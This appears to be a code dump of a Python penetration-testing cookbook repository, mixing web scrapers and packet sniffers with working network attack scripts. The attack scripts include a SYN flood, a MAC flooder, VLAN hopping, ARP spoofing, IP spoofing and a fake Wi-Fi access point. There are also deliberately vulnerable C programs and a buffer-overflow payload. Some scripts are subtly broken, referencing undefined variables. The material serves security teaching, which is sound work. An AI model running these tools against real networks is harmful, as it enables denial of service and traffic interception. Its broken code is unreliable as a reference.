├── Chapter09 ├── ssidList.txt ├── sniff-ssid.py ├── dictionary-attack-ssid.py ├── wifi-sniff.py ├── sniff-hidden-ssid.py └── fake-access-point.py ├── Chapter14 ├── exploit_bof.py ├── fmt.c ├── bof.c └── exploit.py ├── Chapter07 ├── sample.pcap ├── basic-parse-packet-linux.py ├── pyshar_sample.py ├── pyshar_sniff.py ├── ack-scanner.py └── basic-packet-sniffer-linux.py ├── Chapter08 ├── example.pcap ├── sample.pcap ├── packet-layers.py ├── sendp-packet.py ├── send-packet.py ├── sr-packet.py ├── scapy-packet.py ├── pcap-file-scapy.py ├── scapy-sniffer.py └── mitm-scapy.py ├── Chapter05 └── books │ ├── books │ ├── item.py │ ├── __pycache__ │ │ ├── item.cpython-35.pyc │ │ ├── items.cpython-35.pyc │ │ ├── __init__.cpython-35.pyc │ │ └── settings.cpython-35.pyc │ ├── spiders │ │ ├── __pycache__ │ │ │ ├── home.cpython-35.pyc │ │ │ ├── home2.cpython-35.pyc │ │ │ └── __init__.cpython-35.pyc │ │ ├── __init__.py │ │ ├── home2.py │ │ ├── home.py │ │ └── data.csv │ ├── pipelines.py │ ├── middlewares.py │ └── settings.py │ └── scrapy.cfg ├── Chapter10 ├── arp-monitor.py ├── arp-scanner.py ├── mac-flooder.py ├── vlan-hopping.py ├── arp-spoofing-over-vlan.py ├── dhcp-starvation.py └── arp-cache-poisoning.py ├── Chapter04 ├── xml_parse.py ├── xml_parse_p3.py ├── html_table_parser.py └── html_table_parser_p3.py ├── Chapter11 ├── syn-flooding.py ├── ip-spoof-ping.py └── pass-sniffer.py ├── Chapter03 ├── download_image.py ├── download_image_without_try_catch_p3.py ├── download_image_p3.py └── download_image_without_try_catch_p3 copy.py ├── Chapter06 ├── port-scanner.py ├── port-scanner-py3.py ├── network-scanner.py ├── port-scanner-default-ports.py ├── port-scanner-default-ports-py3.py ├── ack-scanner.py ├── fin-scanner.py ├── xmas-scanner.py └── syn-scanner.py ├── LICENSE └── README.md /Chapter09/ssidList.txt: -------------------------------------------------------------------------------- 1 | dlink 2 | infected 3 | test 4 | prakash 5 | -------------------------------------------------------------------------------- /Chapter14/exploit_bof.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | print "a"*32 + "\x8b\x84\x04\x08" 4 | 5 | -------------------------------------------------------------------------------- /Chapter07/sample.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter07/sample.pcap -------------------------------------------------------------------------------- /Chapter08/example.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter08/example.pcap -------------------------------------------------------------------------------- /Chapter08/sample.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter08/sample.pcap -------------------------------------------------------------------------------- /Chapter05/books/books/item.py: -------------------------------------------------------------------------------- 1 | from scrapy.item import Item, Field 2 | 3 | class BookItem(Item): 4 | title = Field() 5 | price = Field() 6 | 7 | -------------------------------------------------------------------------------- /Chapter08/packet-layers.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from pprint import pprint 3 | 4 | pkts = sniff(filter="arp",count=10) 5 | print(pkts.summary()) -------------------------------------------------------------------------------- /Chapter07/basic-parse-packet-linux.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) 4 | 5 | while True: 6 | print(s.recvfrom(65565)) -------------------------------------------------------------------------------- /Chapter05/books/books/__pycache__/item.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter05/books/books/__pycache__/item.cpython-35.pyc -------------------------------------------------------------------------------- /Chapter05/books/books/__pycache__/items.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter05/books/books/__pycache__/items.cpython-35.pyc -------------------------------------------------------------------------------- /Chapter07/pyshar_sample.py: -------------------------------------------------------------------------------- 1 | import pyshark 2 | cap = pyshark.FileCapture('sample.pcap') 3 | print(cap) 4 | print(cap[0]) 5 | print(dir(cap[0])) 6 | 7 | for pkt in cap: 8 | print(pkt.highest_layer) -------------------------------------------------------------------------------- /Chapter08/sendp-packet.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from pprint import pprint 3 | 4 | network = IP(dst = '192.168.1.1') 5 | transport = ICMP() 6 | packet = network/transport 7 | send(packet) 8 | -------------------------------------------------------------------------------- /Chapter05/books/books/__pycache__/__init__.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter05/books/books/__pycache__/__init__.cpython-35.pyc -------------------------------------------------------------------------------- /Chapter05/books/books/__pycache__/settings.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter05/books/books/__pycache__/settings.cpython-35.pyc -------------------------------------------------------------------------------- /Chapter14/fmt.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(int argc, char **argv){ 4 | char buf[1024]; 5 | strcpy(buf, argv[1]); 6 | printf(buf); 7 | printf("\n"); 8 | } 9 | -------------------------------------------------------------------------------- /Chapter07/pyshar_sniff.py: -------------------------------------------------------------------------------- 1 | import pyshark 2 | cap = pyshark.LiveCapture(interface='en0', bpf_filter='ip and tcp port 80') 3 | 4 | cap.sniff(timeout=5) 5 | 6 | for pkt in cap: 7 | print(pkt.highest_layer) -------------------------------------------------------------------------------- /Chapter05/books/books/spiders/__pycache__/home.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter05/books/books/spiders/__pycache__/home.cpython-35.pyc -------------------------------------------------------------------------------- /Chapter05/books/books/spiders/__pycache__/home2.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter05/books/books/spiders/__pycache__/home2.cpython-35.pyc -------------------------------------------------------------------------------- /Chapter05/books/books/spiders/__init__.py: -------------------------------------------------------------------------------- 1 | # This package will contain the spiders of your Scrapy project 2 | # 3 | # Please refer to the documentation for information on how to create and manage 4 | # your spiders. 5 | -------------------------------------------------------------------------------- /Chapter05/books/books/spiders/__pycache__/__init__.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-Cookbook/HEAD/Chapter05/books/books/spiders/__pycache__/__init__.cpython-35.pyc -------------------------------------------------------------------------------- /Chapter08/send-packet.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from pprint import pprint 3 | 4 | ethernet = Ether() 5 | network = IP(dst = '192.168.1.1') 6 | transport = ICMP() 7 | packet = ethernet/network/transport 8 | sendp(packet, iface="en0") 9 | -------------------------------------------------------------------------------- /Chapter08/sr-packet.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | ethernet = Ether() 4 | network = IP(dst = 'rejahrehim.com') 5 | transport = TCP(dport=80) 6 | packet = ethernet/network/transport 7 | # sr(packet, iface="en0") 8 | 9 | sr1(packet, iface="en0") 10 | -------------------------------------------------------------------------------- /Chapter10/arp-monitor.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | from scapy.all import * 4 | 5 | def parsePacket(pkt): 6 | 7 | if ARP in pkt and pkt[ARP].op in (1,2): 8 | return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") 9 | 10 | sniff(prn=parsePacket, filter="arp", store=0) 11 | -------------------------------------------------------------------------------- /Chapter05/books/scrapy.cfg: -------------------------------------------------------------------------------- 1 | # Automatically created by: scrapy startproject 2 | # 3 | # For more information about the [deploy] section see: 4 | # https://scrapyd.readthedocs.org/en/latest/deploy.html 5 | 6 | [settings] 7 | default = books.settings 8 | 9 | [deploy] 10 | #url = http://localhost:6800/ 11 | project = books 12 | -------------------------------------------------------------------------------- /Chapter05/books/books/pipelines.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Define your item pipelines here 4 | # 5 | # Don't forget to add your pipeline to the ITEM_PIPELINES setting 6 | # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html 7 | 8 | 9 | class BooksPipeline(object): 10 | def process_item(self, item, spider): 11 | return item 12 | -------------------------------------------------------------------------------- /Chapter10/arp-scanner.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | interface = "en0" 4 | ip_rage = "192.168.1.1/24" 5 | broadcastMac = "ff:ff:ff:ff:ff:ff" 6 | 7 | conf.verb = 0 8 | ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = ip_rage), timeout =2, iface=interface, inter=0.1) 9 | 10 | for send,recive in ans: 11 | print (recive.sprintf(r"%Ether.src% - %ARP.psrc%")) -------------------------------------------------------------------------------- /Chapter09/sniff-ssid.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | ssid = [] 4 | def parseSSID(pkt): 5 | if pkt.haslayer(Dot11): 6 | print(pkt.show()) 7 | if pkt.type == 0 and pkt.subtype == 8: 8 | if pkt.addr2 not in ap_list: 9 | ap_list.append(pkt.addr2) 10 | print("SSID: pkt.info") 11 | 12 | sniff(iface='en0', prn=ssid, count=10, timeout=3, store=0) 13 | -------------------------------------------------------------------------------- /Chapter08/scapy-packet.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from pprint import pprint 3 | 4 | ethernet = Ether() 5 | network = IP(dst = ['rejahrehim.com', '192.168.1.1', '192.168.1.2']) 6 | # transport = TCP(dport=53, flags = 'S') 7 | transport = TCP(dport=[(53, 100)], flags = 'S') 8 | packet = ethernet/network/transport 9 | # pprint(packet) 10 | # pprint([pkt for pkt in packet]) 11 | 12 | for pkt in packet: 13 | # ls(pkt) 14 | pkt.show() 15 | -------------------------------------------------------------------------------- /Chapter14/bof.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void secretFunction() 4 | { 5 | printf("Congratulations!\n"); 6 | printf("You have entered in the secret function!\n"); 7 | } 8 | 9 | void echo() 10 | { 11 | char buffer[20]; 12 | 13 | printf("Enter some text:\n"); 14 | scanf("%s", buffer); 15 | printf("You entered: %s\n", buffer); 16 | } 17 | 18 | int main() 19 | { 20 | echo(); 21 | 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /Chapter10/mac-flooder.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from scapy.all import * 3 | 4 | interface = "en0" 5 | 6 | pkt = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \ 7 | IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \ 8 | ICMP() 9 | 10 | print ("Flooding LAN with random packets on interface " + interface ) 11 | 12 | 13 | try: 14 | while True: 15 | sendp(pkt, iface=interface) 16 | 17 | except KeyboardInterrupt: 18 | print("Exiting.. ") 19 | sys.exit(0) 20 | -------------------------------------------------------------------------------- /Chapter04/xml_parse.py: -------------------------------------------------------------------------------- 1 | from urllib2 import urlopen 2 | from xml.etree.ElementTree import parse 3 | 4 | url = urlopen('http://feeds.feedburner.com/TechCrunch/Google') 5 | xmldoc = parse(url) 6 | xmldoc.write('output.xml') 7 | for item in xmldoc.iterfind('channel/item'): 8 | title = item.findtext('title') 9 | desc = item.findtext('description') 10 | date = item.findtext('pubDate') 11 | link = item.findtext('link') 12 | 13 | print title 14 | print desc 15 | print date 16 | print link 17 | print '---------' 18 | -------------------------------------------------------------------------------- /Chapter04/xml_parse_p3.py: -------------------------------------------------------------------------------- 1 | from urllib.request import urlopen 2 | from xml.etree.ElementTree import parse 3 | 4 | url = urlopen('http://feeds.feedburner.com/TechCrunch/Google') 5 | xmldoc = parse(url) 6 | xmldoc.write('output.xml') 7 | for item in xmldoc.iterfind('channel/item'): 8 | title = item.findtext('title') 9 | desc = item.findtext('description') 10 | date = item.findtext('pubDate') 11 | link = item.findtext('link') 12 | 13 | print(title) 14 | print(desc) 15 | print(date) 16 | print(link) 17 | print('---------') 18 | -------------------------------------------------------------------------------- /Chapter09/dictionary-attack-ssid.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | senderMac = "aa:aa:aa:aa:aa:aa" 4 | broadcastMac = "ff:ff:ff:ff:ff:ff" 5 | 6 | 7 | for ssid in open('ssidList.txt', 'r').readlines(): 8 | pkt = RadioTap()/Dot11(type = 0, subtype = 4 ,addr1 = broadcastMac, addr2 = senderMac, addr3 = broadcastMac)/Dot11ProbeReq()/Dot11Elt(ID=0, info =ssid.strip()) / Dot11Elt(ID=1, info = "\x02\x04\x0b\x16") / Dot11Elt(ID=3, info="\x08") 9 | 10 | print ("Checking ssid:" + ssid) 11 | print(pkt.show()) 12 | sendp (pkt, iface ="en0", count=1) 13 | -------------------------------------------------------------------------------- /Chapter10/vlan-hopping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import time 4 | from scapy.all import * 5 | 6 | iface = "en0" 7 | our_vlan = 1 8 | target_vlan = 2 9 | target_ip = '192.168.1.2' 10 | 11 | 12 | ether = Ether() 13 | dot1q1 = Dot1Q(vlan=our_vlan) 14 | dot1q2 = Dot1Q(vlan=target_vlan) 15 | ip = IP(dst=target_ip) 16 | icmp = ICMP() 17 | 18 | packet = ether/dot1q1/dot1q2/ip/icmp 19 | 20 | try: 21 | while True: 22 | sendp(packet, iface=iface) 23 | time.sleep(10) 24 | 25 | except KeyboardInterrupt: 26 | print("Exiting.. ") 27 | sys.exit(0) 28 | 29 | -------------------------------------------------------------------------------- /Chapter11/syn-flooding.py: -------------------------------------------------------------------------------- 1 | 2 | from scapy.all import * 3 | 4 | iface = "en0" 5 | destination_ip = '192.168.1.5' 6 | def synFlood(destination, iface): 7 | print ("Starting SYN Flood") 8 | paket=IP(dst=destination,id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP" 9 | ans,unans=srloop(paket, iface=iface, inter=0.3,retry=2,timeout=4) 10 | ans.summary() 11 | unans.summary() 12 | 13 | try: 14 | synFlood(destination_ip, iface) 15 | except KeyboardInterrupt: 16 | print("Exiting.. ") 17 | sys.exit(0) 18 | -------------------------------------------------------------------------------- /Chapter08/pcap-file-scapy.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | packets = [] 4 | 5 | def changePacketParameters(packet): 6 | packet[Ether].dst = '00:11:22:dd:bb:aa' 7 | packet[Ether].src = '00:11:22:dd:bb:aa' 8 | 9 | def writeToPcapFile(pkt): 10 | wrpcap('filteredPackets.pcap', pkt, append=True) 11 | 12 | for packet in sniff(offline='sample.pcap', prn=changePacketParameters): 13 | packets.append(packet) 14 | 15 | for packet in packets: 16 | if packet.haslayer(TCP): 17 | writeToPcapFile(packet) 18 | print(packet.show()) 19 | 20 | sendp(packets) 21 | # wrpcap("editted.cap", packets) -------------------------------------------------------------------------------- /Chapter11/ip-spoof-ping.py: -------------------------------------------------------------------------------- 1 | 2 | from scapy.all import * 3 | 4 | iface = "en0" 5 | fake_ip = '192.168.1.3' 6 | destination_ip = '192.168.1.5' 7 | dns_destination ='8.8.8.8' 8 | def ping(source, destination, iface): 9 | srloop(IP(src=source,dst=destination)/ICMP(), iface=iface) 10 | 11 | def dnsQuery(source, destination, iface): 12 | sr1(IP(dst=destination,src=source)/UDP()/DNS(rd=1,qd=DNSQR(qname="example.com"))) 13 | 14 | 15 | try: 16 | print ("Starting Ping") 17 | # ping(fake_ip,destination_ip,iface) 18 | dnsQuery(fake_ip,dns_destination,iface) 19 | 20 | except KeyboardInterrupt: 21 | print("Exiting.. ") 22 | sys.exit(0) 23 | 24 | -------------------------------------------------------------------------------- /Chapter10/arp-spoofing-over-vlan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import time 4 | from scapy.all import * 5 | 6 | iface = "en0" 7 | target_ip = '192.168.1.2' 8 | fake_ip = '192.168.1.3' 9 | fake_mac = 'c0:d3:de:ad:be:ef' 10 | our_vlan = 1 11 | target_vlan = 2 12 | 13 | 14 | ether = Ether() 15 | dot1q1 = Dot1Q(vlan=our_vlan) 16 | dot1q2 = Dot1Q(vlan=target_vlan) 17 | arp = ARP(hwsrc=fake_mac, pdst=target_ip, psrc=fake_ip, op="is-at") 18 | 19 | packet = ether/dot1q1/dot1q2/arp 20 | 21 | 22 | 23 | try: 24 | while True: 25 | sendp(packet, iface=iface) 26 | time.sleep(10) 27 | 28 | except KeyboardInterrupt: 29 | print("Exiting.. ") 30 | sys.exit(0) 31 | 32 | -------------------------------------------------------------------------------- /Chapter09/wifi-sniff.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | ap_list = [] 4 | def ssid(pkt): 5 | # print(pkt.show()) 6 | if pkt.haslayer(Dot11): 7 | print(pkt.show()) 8 | if pkt.type == 0 and pkt.subtype == 8: 9 | if pkt.addr2 not in ap_list: 10 | ap_list.append(pkt.addr2) 11 | print("AP: %s SSID: %s" % (pkt.addr2, pkt.info)) 12 | 13 | sniff(iface='en0', prn=ssid, count=10, timeout=3, store=0) 14 | # for packet in sniff(offline='sample.pcap', prn=changePacketParameters): 15 | # packets.append(packet) 16 | 17 | # for packet in packets: 18 | # if packet.haslayer(TCP): 19 | # writeToPcapFile(packet) 20 | # print(packet.show()) -------------------------------------------------------------------------------- /Chapter08/scapy-sniffer.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from scapy.all import * 3 | 4 | interface = "en0" 5 | 6 | def callBackParser(packet): 7 | if IP in packet: 8 | source_ip = packet[IP].src 9 | destination_ip = packet[IP].dst 10 | if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0: 11 | print("From : " + str(source_ip) + " to -> " + str(destination_ip) + "( " + str(packet.getlayer(DNS).qd.qname) + " )") 12 | 13 | if packet.haslayer(TCP): 14 | try: 15 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 16 | print(packet[TCP].payload) 17 | except: 18 | pass 19 | sniff(iface=interface, prn=callBackParser) 20 | -------------------------------------------------------------------------------- /Chapter03/download_image.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import re 3 | from os.path import basename 4 | from urlparse import urlsplit 5 | 6 | url = 'https://www.packtpub.com/' 7 | 8 | response = urllib2.urlopen(url) 9 | source = response.read() 10 | file = open("packtpub.txt", "w") 11 | file.write(source) 12 | file.close() 13 | 14 | patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))' 15 | for line in open('packtpub.txt'): 16 | for m in re.findall(patten, line): 17 | print('https:' + m[1]) 18 | fileName = basename(urlsplit(m[1])[2]) 19 | print(fileName) 20 | try: 21 | img = urllib2.urlopen('https:' + m[1]).read() 22 | file = open(fileName, "w") 23 | file.write(img) 24 | file.close() 25 | except: 26 | pass 27 | break 28 | -------------------------------------------------------------------------------- /Chapter03/download_image_without_try_catch_p3.py: -------------------------------------------------------------------------------- 1 | import urllib.request 2 | import urllib.parse 3 | import re 4 | from os.path import basename 5 | 6 | url = 'https://www.packtpub.com/' 7 | 8 | response = urllib.request.urlopen(url) 9 | source = response.read() 10 | file = open("packtpub.txt", "wb") 11 | file.write(source) 12 | file.close() 13 | 14 | patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))' 15 | for line in open('packtpub.txt'): 16 | for m in re.findall(patten, line): 17 | print('https:' + m[1]) 18 | fileName = basename(urllib.parse.urlsplit(m[1])[2]) 19 | print(fileName) 20 | request = 'https:' + urllib.parse.quote(m[1]) 21 | img = urllib.request.urlopen(request).read() 22 | file = open(fileName, "wb") 23 | file.write(img) 24 | file.close() 25 | 26 | break 27 | -------------------------------------------------------------------------------- /Chapter03/download_image_p3.py: -------------------------------------------------------------------------------- 1 | import urllib.request 2 | import urllib.parse 3 | import re 4 | from os.path import basename 5 | 6 | url = 'https://www.packtpub.com/' 7 | 8 | response = urllib.request.urlopen(url) 9 | source = response.read() 10 | file = open("packtpub.txt", "wb") 11 | file.write(source) 12 | file.close() 13 | 14 | patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))' 15 | for line in open('packtpub.txt'): 16 | for m in re.findall(patten, line): 17 | print('https:' + m[1]) 18 | fileName = basename(urllib.parse.urlsplit(m[1])[2]) 19 | print(fileName) 20 | try: 21 | img = urllib.request.urlopen('https:' + m[1]).read() 22 | file = open(fileName, "wb") 23 | file.write(img) 24 | file.close() 25 | except: 26 | pass 27 | break 28 | -------------------------------------------------------------------------------- /Chapter09/sniff-hidden-ssid.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | hiddenSSIDs = dict() 4 | 5 | def parseSSID(pkt): 6 | if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): 7 | if not hiddenSSIDs.has_key(pkt[Dot11].addr3): 8 | ssid = pkt[Dot11Elt].info 9 | bssid = pkt[Dot11].addr3 10 | channel = int( ord(pkt[Dot11Elt:3].info)) 11 | capability = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}\{Dot11ProbeResp:%Dot11ProbeResp.cap%}") 12 | 13 | if re.search("privacy", capability): 14 | encrypted = 'Y' 15 | else: 16 | encrypted = 'N' 17 | hiddenSSIDs[pkt[Dot11].addr3] =[encrypted, ssid, bssid, channel] 18 | print (hiddenSSIDs) 19 | 20 | sniff(iface='wlp3s0b1', prn=parseSSID, count=10, timeout=3, store=0) 21 | -------------------------------------------------------------------------------- /Chapter06/port-scanner.py: -------------------------------------------------------------------------------- 1 | import socket,sys,os 2 | 3 | os.system('clear') 4 | 5 | host = 'rejahrehim.com' 6 | ip = socket.gethostbyname(host) 7 | 8 | open_ports =[] 9 | start_port = 79 10 | end_port = 82 11 | 12 | def probe_port(host, port, result = 1): 13 | try: 14 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | sock.settimeout(0.5) 16 | r = sock.connect_ex((host, port)) 17 | if r == 0: 18 | result = r 19 | sock.close() 20 | except Exception, e: 21 | pass 22 | 23 | return result 24 | 25 | for p in range(start_port, end_port+1): 26 | sys.stdout.flush() 27 | print p 28 | response = probe_port(host, p) 29 | if response == 0: 30 | open_ports.append(p) 31 | if not p == end_port: 32 | sys.stdout.write('\b' * len(str(p))) 33 | 34 | if open_ports: 35 | print "Open Ports" 36 | print sorted(open_ports) 37 | else: 38 | print "Sorry, No open ports found.!!" 39 | 40 | -------------------------------------------------------------------------------- /Chapter06/port-scanner-py3.py: -------------------------------------------------------------------------------- 1 | import socket,sys,os 2 | 3 | # os.system('clear') 4 | 5 | host = 'rejahrehim.com' 6 | ip = socket.gethostbyname(host) 7 | 8 | open_ports =[] 9 | start_port = 79 10 | end_port = 82 11 | 12 | def probe_port(host, port, result = 1): 13 | try: 14 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | sock.settimeout(0.5) 16 | r = sock.connect_ex((host, port)) 17 | if r == 0: 18 | result = r 19 | sock.close() 20 | except Exception as e: 21 | pass 22 | 23 | return result 24 | 25 | for p in range(start_port, end_port+1): 26 | sys.stdout.flush() 27 | print (p) 28 | response = probe_port(host, p) 29 | if response == 0: 30 | open_ports.append(p) 31 | if not p == end_port: 32 | sys.stdout.write('\b' * len(str(p))) 33 | 34 | if open_ports: 35 | print ("Open Ports") 36 | print (sorted(open_ports)) 37 | else: 38 | print ("Sorry, No open ports found.!!") 39 | 40 | -------------------------------------------------------------------------------- /Chapter04/html_table_parser.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import pandas as pd 3 | from bs4 import BeautifulSoup 4 | 5 | url = "https://www.w3schools.com/html/html_tables.asp" 6 | try: 7 | page = urllib2.urlopen(url) 8 | except Exception as e: 9 | print e 10 | pass 11 | soup = BeautifulSoup(page, "html.parser") 12 | 13 | table = soup.find_all('table')[0] 14 | 15 | new_table = pd.DataFrame( 16 | columns=['Company', 'Contact', 'Country'], 17 | index=range(0, 7)) 18 | 19 | row_number = 0 20 | for row in table.find_all('tr'): 21 | column_number = 0 22 | columns = row.find_all('td') 23 | for column in columns: 24 | new_table.iat[row_number, column_number] = column.get_text() 25 | column_number += 1 26 | row_number += 1 27 | 28 | print new_table 29 | # Uncomment the bellow line to export to csv 30 | # new_table.to_csv('table.csv') 31 | # Uncomment the bellow line to export to excel 32 | # new_table.to_excel('table.xlsx') 33 | -------------------------------------------------------------------------------- /Chapter04/html_table_parser_p3.py: -------------------------------------------------------------------------------- 1 | import urllib.request 2 | import pandas as pd 3 | from bs4 import BeautifulSoup 4 | 5 | url = "https://www.w3schools.com/html/html_tables.asp" 6 | try: 7 | page = urllib.request.urlopen(url) 8 | except Exception as e: 9 | print(e) 10 | pass 11 | soup = BeautifulSoup(page, "html.parser") 12 | 13 | table = soup.find_all('table')[0] 14 | 15 | new_table = pd.DataFrame( 16 | columns=['Company', 'Contact', 'Country'], 17 | index=range(0, 7)) 18 | 19 | row_number = 0 20 | for row in table.find_all('tr'): 21 | column_number = 0 22 | columns = row.find_all('td') 23 | for column in columns: 24 | new_table.iat[row_number, column_number] = column.get_text() 25 | column_number += 1 26 | row_number += 1 27 | 28 | print(new_table) 29 | # Uncomment the bellow line to export to csv 30 | # new_table.to_csv('table.csv') 31 | # Uncomment the bellow line to export to excel 32 | # new_table.to_excel('table.xlsx') 33 | -------------------------------------------------------------------------------- /Chapter06/network-scanner.py: -------------------------------------------------------------------------------- 1 | import socket, re 2 | from scapy.all import * 3 | 4 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 5 | s.connect(('8.8.8.8', 80)) 6 | ip = s.getsockname()[0] 7 | 8 | #Get the Local IP 9 | end = re.search('^[\d]{1,3}.[\d]{1,3}.[\d]{1,3}.[\d]{1,3}', ip) 10 | 11 | print (end) 12 | create_ip = re.search('^[\d]{1,3}.[\d]{1,3}.[\d]{1,3}.', ip) 13 | 14 | def is_up(ip): 15 | icmp = IP(dst=ip)/ICMP() 16 | resp = sr1(icmp, timeout=10) 17 | if resp == None: 18 | return False 19 | else: 20 | return True 21 | def CheckLoopBack(ip): 22 | if (end.group(0) == '127.0.0.1'): 23 | return True 24 | 25 | try: 26 | if not CheckLoopBack(create_ip): 27 | conf.verb = 0 28 | for i in range(1, 10): 29 | test_ip = str(create_ip.group(0)) + str(i) 30 | if is_up(test_ip): 31 | print (test_ip + " Is Up") 32 | except KeyboardInterrupt: 33 | print('interrupted!') 34 | -------------------------------------------------------------------------------- /Chapter05/books/books/spiders/home2.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import scrapy 3 | from scrapy.linkextractor import LinkExtractor 4 | from scrapy.spiders import Rule, CrawlSpider 5 | 6 | 7 | class HomeSpider2(CrawlSpider): 8 | name = 'home2' 9 | allowed_domains = ['books.toscrape.com'] 10 | start_urls = ['http://books.toscrape.com/'] 11 | rules = (Rule(LinkExtractor(allow=(), restrict_css=('.next',)), 12 | callback="parse_page", 13 | follow=True),) 14 | 15 | def start_requests(self): 16 | for url in self.start_urls: 17 | yield scrapy.Request(url, callback=self.parse, dont_filter=True) 18 | 19 | def parse_page(self, response): 20 | links = LinkExtractor(canonicalize=True, unique=True).extract_links(response) 21 | for link in links: 22 | is_allowed = False 23 | for allowed_domain in self.allowed_domains: 24 | if allowed_domain in link.url: 25 | is_allowed = True 26 | if is_allowed: 27 | print (link.url) 28 | -------------------------------------------------------------------------------- /Chapter09/fake-access-point.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import sys 3 | import random 4 | import os 5 | 6 | ssid = "fakeap" 7 | iface = "en0" 8 | 9 | dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=str(RandMAC()), addr3=str(RandMAC())) 10 | dot11beacon = Dot11Beacon(cap='ESS+privacy') 11 | dot11essid = Dot11Elt(ID='SSID',info=ssid, len=len(ssid)) 12 | rsn = Dot11Elt(ID='RSNinfo', info=( 13 | '\x01\x00' #For RSN Version 1 14 | '\x00\x0f\xac\x02' #Group Cipher Suite : 00-0f-ac TKIP 15 | '\x02\x00' #2 Pairwise Cipher Suites (next two lines) 16 | '\x00\x0f\xac\x04' #AES Cipher 17 | '\x00\x0f\xac\x02' #TKIP Cipher 18 | '\x01\x00' #1 Authentication Key Managment Suite (line below) 19 | '\x00\x0f\xac\x02' #Pre-Shared Key 20 | '\x00\x00')) #RSN Capabilities (no extra capabilities) 21 | 22 | 23 | frame = RadioTap()/dot11/dot11beacon/dot11essid/rsn 24 | print (ssid,frame) 25 | 26 | sendp(frame, iface=iface, inter=0.0100 if len(frames)<10 else 0, loop=1) 27 | -------------------------------------------------------------------------------- /Chapter03/download_image_without_try_catch_p3 copy.py: -------------------------------------------------------------------------------- 1 | import urllib.request 2 | import urllib.parse 3 | import re 4 | from os.path import basename 5 | 6 | url = 'https://www.packtpub.com/' 7 | queryString = 'all?search=&offset=' 8 | 9 | for i in range(0, 200, 12): 10 | query = queryString + str(i) 11 | url += query 12 | print(url) 13 | response = urllib.request.urlopen(url) 14 | source = response.read() 15 | file = open("packtpub.txt", "wb") 16 | file.write(source) 17 | file.close() 18 | 19 | patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))' 20 | for line in open('packtpub.txt'): 21 | for m in re.findall(patten, line): 22 | print('https:' + m[1]) 23 | 